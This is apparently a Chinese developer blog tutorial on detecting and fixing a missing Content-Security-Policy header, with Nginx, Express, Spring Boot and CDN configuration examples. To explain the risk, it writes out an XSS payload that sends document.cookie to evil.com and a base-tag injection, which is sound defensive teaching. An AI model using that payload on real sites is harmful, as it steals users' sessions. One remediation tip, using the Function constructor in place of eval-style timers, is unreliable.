1. 一次真实的安全告警:CSP缺失到底意味着什么
事情起因很简单,我在给一个内部管理后台做上线前巡检,随手打开浏览器控制台,发现一堆红色报错。其中最显眼的一条是:
Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self'"
再往下翻请求头,发现响应里压根没有Content-Security-Policy字段。也就是说,这个站点从上到下,完全没有设置任何内容安全策略。
当时我第一反应不是“修一下就好”,而是先想想这背后意味着什么。对于任何一个需要用户登录、处理业务数据的Web应用来说,CSP缺失等于把XSS(跨站脚本攻击)的大门敞开了一半。攻击者一旦找到任何一处可以注入脚本的地方——比如评论框、搜索框、URL参数反射点——就能在你的页面里执行任意JavaScript,盗取Cookie、篡改页面内容、劫持用户会话,甚至发起钓鱼攻击。
这篇文章我就把这个问题的来龙去脉、排查思路、修复方案,以及我在实际项目里踩过的坑,完整地梳理一遍。内容偏向Web安全和前端工程化实践,适合后端同学排查接口响应头、前端同学处理页面报错、运维同学做安全加固时参考。
先给结论:CSP缺失不是“有没有被攻击”的问题,而是“什么时候会被攻击”的问题。它属于被动防御层,必须在应用上线前就补上,越早越好。
2. 理解CSP:它到底在保护什么
2.1 CSP是什么,一句话说清楚
Content-Security-Policy,中文翻译是“内容安全策略”,它是一组HTTP响应头字段,由服务器在返回页面资源时下发。浏览器收到这个字段后,会按照策略里声明的一系列指令,严格限制页面可以加载和执行的资源来源。
你可以把它理解成一道“白名单闸门”:页面上的脚本、样式、图片、字体、连接、iframe、对象等所有资源,都必须来自你明确允许的源,否则浏览器直接拒绝加载或执行。
举个例子,如果你的策略是default-src 'self',那么页面里所有未单独指定的资源,都只能从当前站点自己的域名下加载。任何来自第三方域名的脚本,哪怕是 www.example.com/cdn.js,也会被直接拦截。
2.2 没有CSP时,XSS攻击为什么这么容易
在没有CSP的页面里,浏览器对资源加载几乎是“来者不拒”的。攻击者只要找到了一个注入点,比如一个没做过滤的搜索框<input value="用户输入">,他构造输入"><script>fetch('https://evil.com/cookie?c='+document.cookie)</script>,就能把这个脚本跑到你的页面上。
没有CSP时,这个脚本可以:
- 读取并外传当前站点的Cookie、localStorage、sessionStorage
- 在页面里渲染任意钓鱼表单
- 劫持用户点击、键盘输入
- 发起内部接口请求,伪造操作
有了CSP之后,即便脚本被注入到了DOM里,只要它不匹配白名单规则,浏览器就直接拒绝执行。这就是CSP的核心价值——它不是防止注入,而是在注入发生后阻止攻击扩大化。
2.3 CSP的I指令体系:至少要认识这6个
CSP的配置是通过一组指令完成的,每个指令控制一类资源或者一类行为。实际项目里最常用的指令有这么几个:
| 指令 | 控制范围 | 示例值 |
|---|---|---|
default-src | 未单独指定时的兜底策略 | 'self' |
script-src | 脚本来源 | 'self'https://cdn.example.com |
style-src | 样式表来源 | 'self''unsafe-inline' |
img-src | 图片来源 | 'self'data: |
connect-src | fetch、XHR、WebSocket等连接目标 | 'self'https://api.example.com |
frame-ancestors | 允许哪些页面嵌套当前页面(防点击劫持) | 'self' |
还有一个容易被忽略的base-uri,它限制页面中的<base>标签能设置的基准URL。攻击者如果能在页面里注入一个<base href="https://evil.com/">,就能让后续所有的相对路径请求都指向攻击者服务器,所以建议显式设置成base-uri 'self'。
2.4 为什么说CSP是“纵深防御”里不可或缺的一层
很多人觉得“我已经做了输入过滤、输出编码,为什么还要CSP?”这个想法我理解,但不够安全。输入过滤是攻击发生前的第一道防线,总有绕过可能——尤其是在复杂的富文本场景、第三方组件拼接、服务端模板渲染这些地方。CSP是浏览器层面的最后一道防线,它是客户端原生执行的,不依赖你业务代码的每一次判断。
打个比方,输入过滤就像你出门前的检查清单,尽量防止忘了锁门;但CSP相当于一把门锁本身——即使你忘了检查,门也是锁着的。两者不是二选一,而是都要做。
3. 为什么你的站点会没有CSP,以及如何确认
3.1 CSP缺失的常见原因
在实际项目里,我见过CSP缺失的情况大部分是以下几种原因导致的:
- 框架默认没有开启。很多前端框架、开发服务器(比如Vite dev server、Webpack dev server)、后端模板引擎,默认情况下不会主动输出CSP头,需要开发者显式配置。
- 部署环节被忽略。开发环境可能配置了,但到了Nginx、网关、CDN这一层,没有把响应头透传或附加,导致线上环境缺失。
- 历史项目带病上线。这类最麻烦,项目很老,没有安全基线意识,从上线第一天起就没有CSP,直到安全扫描报告打出来才发现。
- 反向代理覆盖了自定义头。有些网关会重建响应头,如果上游节点设置的CSP头没有在代理层保留,也会出现“明明配置了,但客户端看不到”的诡异情况。
3.2 快速自查方法:浏览器控制台就够了
想确认你的站点到底有没有CSP,最快的办法是打开Chrome DevTools,切换到Network面板,刷新页面,点击主文档请求,在Headers标签里查看Response Headers。
如果你看到content-security-policy字段,说明策略存在;如果找不到这个字段,那就是缺失。
另外还有个细节:CSP头字段名有两种写法,Content-Security-Policy是标准策略头,Content-Security-Policy-Report-Only是只报告不拦截的观察模式。很多安全扫描器两个头都会检测,至少要确认标准策略头存在才算是真正生效。
3.3 命令行检测法,适合批量扫描
如果站点数量多,浏览器一个个看太慢,可以用curl直接拉响应头:
curl -sI https://example.com | grep -i content-security-policy没有输出就说明缺失。注意,curl -I发的是HEAD请求,有些服务器对HEAD和GET返回的头不完全一样,稳妥起见可以加-X GET或者直接curl -s -D - -o /dev/null https://example.com。
3.4 用Report-Only模式安全摸底
这里要特别提一下Content-Security-Policy-Report-Only。它的作用和标准CSP头完全一样,但不会真的拦截任何资源,只会在浏览器控制台里报告哪些资源违反了策略,并通过你指定的report-uri或report-to发回报告。
我在给老项目加CSP时,强烈建议先开Report-Only模式至少一两天,让真实用户帮你在生产环境里测试一遍。等确认报告里没有误报,再把策略头切到真正的拦截模式。这个流程能极大降低上线后页面样式错乱、功能白屏的风险。
4. 修复实战:从开发环境到生产环境的完整配置
4.1 先说原则:按最小白名单配置,别图省事
给一个站点配置CSP,最忌讳的就是为了“不报错”而把所有权限全放开,比如直接写script-src 'unsafe-inline' 'unsafe-eval' *。这种配置等于把CSP的防护能力直接清零,还不如不配。
正确的思路是:先整理出页面里实际使用的资源来源,画一张域名清单,再逐类配置对应的指令。如果某个源真的无法避免,再在特定指令里单独放开,而不是一股脑放到default-src里。
4.2 前后端分离项目的典型配置
对于一个典型的前后端分离项目:前端部署在https://app.example.com,后端API在https://api.example.com,可能用到了第三方字体和埋点统计,我常用的基础配置是这样的:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self' https://fonts.example.com; connect-src 'self' https://api.example.com; frame-ancestors 'self'; base-uri 'self'; form-action 'self'逐个解释一下:
default-src 'self':兜底策略,没写到的资源类型默认只能从本站获取。script-src 'self' https://cdn.example.com:允许本站脚本和一个指定的CDN域名。注意,这里没有加'unsafe-inline',意味着页面上所有内联脚本(包括事件处理器、javascript: URL)都会被禁用。style-src 'self' 'unsafe-inline':允许内联样式。老实说,很多项目里CSS-in-JS、动态样式绑定离不开内联样式,所以这个指令经常要放开。img-src 'self' data::允许图片从本站加载,也允许data:URI 图片。connect-src 'self' https://api.example.com:允许fetch、XHR等请求发送到本站和API域名。frame-ancestors 'self':防止自己的页面被别的网站用iframe嵌套,是防点击劫持的关键。base-uri 'self':防止<base>标签被篡改。form-action 'self':限制表单只能提交到本站。
4.3 在Nginx上配置CSP响应头
如果你的站点直接由Nginx托管静态文件,或者Nginx作为反向代理,配置非常简单。在server块里加上:
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'self'; base-uri 'self'; form-action 'self';" always;注意最后一个参数always。Nginx的add_header指令默认只在响应状态码是200、201、204、206、301、302、303、304、307、308时才会附加。加上always后,4xx、5xx错误响应也会带上CSP头。这个细节很容易被忽略,但对安全检测来说很关键,因为攻击面不只存在于正常响应里。
改完配置后,先测试再重载:
nginx -t nginx -s reload重载后再次用curl确认:
curl -sI https://app.example.com | grep -i content-security-policy4.4 在Express/Node.js应用中配置
如果应用是Express写的,直接在响应中设置头即可。我一般用一个中间件统一加:
const helmet = require('helmet'); app.use( helmet.contentSecurityPolicy({ directives: { defaultSrc: ["'self'"], scriptSrc: ["'self'"], styleSrc: ["'self'", "'unsafe-inline'"], imgSrc: ["'self'", "data:"], fontSrc: ["'self'"], connectSrc: ["'self'"], frameAncestors: ["'self'"], baseUri: ["'self'"], formAction: ["'self'"] } }) );如果你不想引入helmet这个重量级依赖,也可以手写:
app.use((req, res, next) => { res.setHeader( 'Content-Security-Policy', "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; frame-ancestors 'self'; base-uri 'self'; form-action 'self';" ); next(); });补充一句,helmet这个库我用了好几年,它不光能设置CSP,还能设置X-Content-Type-Options、X-Frame-Options、Strict-Transport-Security等一堆安全响应头,属于Node服务加固的标准配置。
4.5 在Spring Boot后端里配置
Java后端的朋友更常见的是在Spring Boot项目里配置。推荐的做法是实现WebMvcConfigurer,添加一个HandlerInterceptor来统一设置响应头:
@Component public class CSPInterceptor implements HandlerInterceptor { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { response.setHeader("Content-Security-Policy", "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'self'; base-uri 'self'; form-action 'self';"); return true; } }然后在配置类里注册:
@Configuration public class WebConfig implements WebMvcConfigurer { @Autowired private CSPInterceptor cspInterceptor; @Override public void addInterceptors(InterceptorRegistry registry) { registry.addInterceptor(cspInterceptor).addPathPatterns("/**"); } }还有一个更省事的方式,直接在Spring Security的配置里开启CSP支持:
http.headers().contentSecurityPolicy("default-src 'self'");Spring Security从5.x开始就内置了这个支持,配起来非常方便。
4.6 在纯静态托管/CDN上配置
如果你用Nginx、Apache之外的方式托管静态站点,比如GitHub Pages、对象存储加CDN,那就要在CDN控制台或者静态站点配置里设置自定义响应头。以常见的CDN为例,一般在“HTTP响应头”或“回源配置”里添加字段名Content-Security-Policy和对应的值即可。
对于对象存储(如阿里云OSS、腾讯云COS),一般可以在存储桶的“自定义Headers”里设置。注意,CDN节点回源到存储桶时,可能会覆盖或丢弃源站设置的头,所以最终效果一定要在全链路环境下验证。
4.7 Report-Only模式怎么落地
我还是想再强调一下Report-Only模式。在你真正把CSP头加到生产环境之前,先花一两天用Report-Only模式跑一遍,能避免至少九成的“上线后页面白屏”事故。具体配置方法就是在Nginx或代码里,把Content-Security-Policy换成Content-Security-Policy-Report-Only,策略值保持不变。
然后你可以加一个上报地址:
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-report; report-to csp-endpointreport-uri是老语法,report-to是新语法,为了兼容老浏览器,两个可以同时写。服务端收到上报后,解析JSON报告,就能看到具体是哪个页面的哪个资源违规了。
5. 配置CSP之后一定会遇到的问题:内联脚本和动态加载
5.1 内联脚本被拦截怎么办
加了CSP之后,最常见的报错就是:
Refused to execute inline script because it violates the following Content Security Policy directive
原因很简单,你的页面里有很多直接写在HTML里的<script>标签,或者用了onclick="..."这类事件处理器。CSP的默认策略(没有'unsafe-inline'时)会禁止所有内联脚本执行。
解决办法有两个方向:
第一,把内联脚本改造成外部JS文件。这是最正规、最安全的做法,把页面里的脚本逻辑提取到.js文件里,用<script src="...">引入。
第二,如果实在无法避免内联脚本,比如某些模板引擎会动态拼接脚本,可以使用哈希或nonce白名单机制。CSP允许你指定某个内联脚本的哈希值,或者给脚本标签加一个随机的nonce属性,只有匹配的才能执行。
nonce方式的示例:
<script nonce="a1b2c3"> console.log('这个脚本可以执行'); </script>对应的CSP头值里加上'nonce-a1b2c3'。
这里要特别提醒:nonce值必须是每次请求随机生成的,不能写死,否则nonce白名单就失去了意义。而且,一旦使用nonce,很多浏览器会忽略'unsafe-inline'(即使你同时写了它),这是规范为了安全做的处理,别觉得奇怪。
5.2 动态加载的脚本(Eval、Function、setTimeout)报错
第二条高频报错是:
Refused to evaluate a string as JavaScript because it violates ... 'unsafe-eval'
这是因为页面里用了eval()、new Function()或者类似setTimeout("string")这种把字符串当成代码执行的写法。在老项目里,JSON.parse被误用成eval的情况不太多见,但很多第三方库确实依赖动态代码执行。
解决方案:
- 优先改造代码,用
JSON.parse替代eval,用Function构造器替代字符串定时器。 - 如果是第三方库导致的,检查是否有沙箱版本或替代库。
- 极其无奈的情况下,在
script-src指令里加上'unsafe-eval'。但你必须清楚,这意味着代码注入者也可以通过eval执行任意代码,安全收益大打折扣。
5.3 图片、字体、API请求被拦截
这三类问题一般是域名白名单没写全。报错信息里都会明确告诉你“refused to load the image/font/connect”以及请求的URL,你只需要把这个URL对应的源域名加到对应指令里即可。
值得注意的一个坑是:default-src只在没有更具体的指令时才生效。如果你写了default-src 'self',但没写img-src,那么图片只能从本站加载;一旦你写了img-src data:,那本站域名反而会被排除,因为img-src覆盖了default-src对图片的约束。所以配置时要么只依赖default-src,要么每个指令都写全,别混着来导致逻辑混乱。
6. 配置CSP时最容易踩的坑,我替你踩过了
6.1 坑一:data:协议忘记加,图片全裂
很多后台项目的图片是Base64编码的数据,存在data:image/png;base64,...这种URI里。CSP策略里没加data:,浏览器就会直接拦截所有这类图片。排查的时候控制台一片红,但页面看起来不是白屏,而是图片位置全部变空白,很容易被忽略。
解决方案相当简单,img-src里加上data:即可。如果你使用SVG的<use>或url(data:)方式,可能还需要在style-src里也放行data:,具体看报错信息来定。
6.2 坑二:WebSocket连接被connect-src拦截
这个坑很隐蔽。页面在连接wss://api.example.com时,如果connect-src只写了'self' https://api.example.com,有些浏览器会把wss://api.example.com作为一个独立源来处理,从而拦截WebSocket连接。
解决办法就是把wss://api.example.com也加到connect-src里:
connect-src 'self' https://api.example.com wss://api.example.com6.3 坑三:Nginx的add_header继承问题
Nginx里如果同时存在多个add_header指令,会有一个容易忽视的继承规则:一旦server块、location块中出现了任何一个add_header,更高层级的add_header就会被完全覆盖,而不是合并。也就是说,如果你在http块里定义了CSP响应头,而某个location块里又单独为另一个响应头写了add_header,那个location里CSP头会失效。
这个坑我遇到过不止一次,排查到崩溃。解决方法是把CSP头的配置放到能覆盖所有location的层级,并且确认同一层级没有其他add_header覆盖了它。最稳妥的方式是每个server块里显式书写,别过度依赖继承。
6.4 坑四:浏览器缓存导致验证失误
在配置CSP时,你改了服务端配置,然后用浏览器验证,结果发现还是老样子。这很可能是浏览器缓存了旧的响应头。强烈建议用无痕窗口验证,或者在Network面板里勾选Disable cache。用curl验证最可靠,因为它不受浏览器缓存影响。
6.5 坑五:第三方脚本和统计代码
项目里一旦嵌入了第三方分析脚本、在线客服脚本、地图SDK这类东西,CSP的配置就会变成“打地鼠”游戏。今天加了A域名,明天又要加B域名。我的经验是:先收集所有第三方脚本的域名清单,评估哪些是真正必要的,能剪掉就剪掉。必要保留的脚本,最好用独立的sit包放在自己的域名下,这样CSP策略的变动面会小很多。
7. 常见问题快速排查表
| 症状 | 可能原因 | 解决方向 |
|---|---|---|
| 页面内联脚本不执行 | 策略不含'unsafe-inline'且未使用nonce/hash | 提取外部文件,或添加nonce |
控制台报'unsafe-eval'违规 | 代码用了eval、Function构造器 | 改用正规语法,必要时放行eval |
| 图片全裂 | img-src缺data: | 在img-src中加data: |
| WebSocket连不上 | connect-src缺wss://域名 | 加入对应ws/wss域名 |
| CDN资源被拦截 | script-src/style-src没写完整 | 按报错域名逐个补充 |
| 老项目使用hash/nonce导致每次刷新页面变化 | 服务端未正确生成随机nonce | 服务端模板动态生成 |
| Nginx配置后无效 | add_header被继承覆盖 | 检查当前楼层是否独立配置了add_header |
| 新版Chrome不再支持report-uri | report-to未配置或配置格式不对 | 同时配置report-uri和report-to |
8. 后续还能怎么扩展
CSP只是Web安全响应头里的其中一环,排查这一个字段的机会,顺便检查一下其他几个常见的响应头会更有性价比:
| 响应头 | 作用 | 建议值 |
|---|---|---|
X-Content-Type-Options | 禁止MIME类型嗅探 | nosniff |
X-Frame-Options | 防点击劫持(旧方案) | SAMEORIGIN |
Referrer-Policy | 控制Referer信息的传递 | strict-origin-when-cross-origin |
Permissions-Policy | 控制摄像头、麦克风等浏览器特性 | 按需禁用 |
Strict-Transport-Security | 强制HTTPS连接 | max-age=31536000; includeSubDomains |
我个人习惯是每次做完CSP配置,顺手把这几个头一起检查一遍,形成一套安全响应头基线。后面接新的项目,直接套用这套模板,省时省力又能保证底子不会太差。
还有一点值得提:如果你的项目是一个多人维护的复杂系统,建议把CSP的配置写进部署脚本或者基础设施代码里,而不是只靠人工到服务器上手动改Nginx。配置做个版本管理,后续排查时才能知道改动历史,不然时间一久,谁改了什么、为什么改,全凭记忆就麻烦了。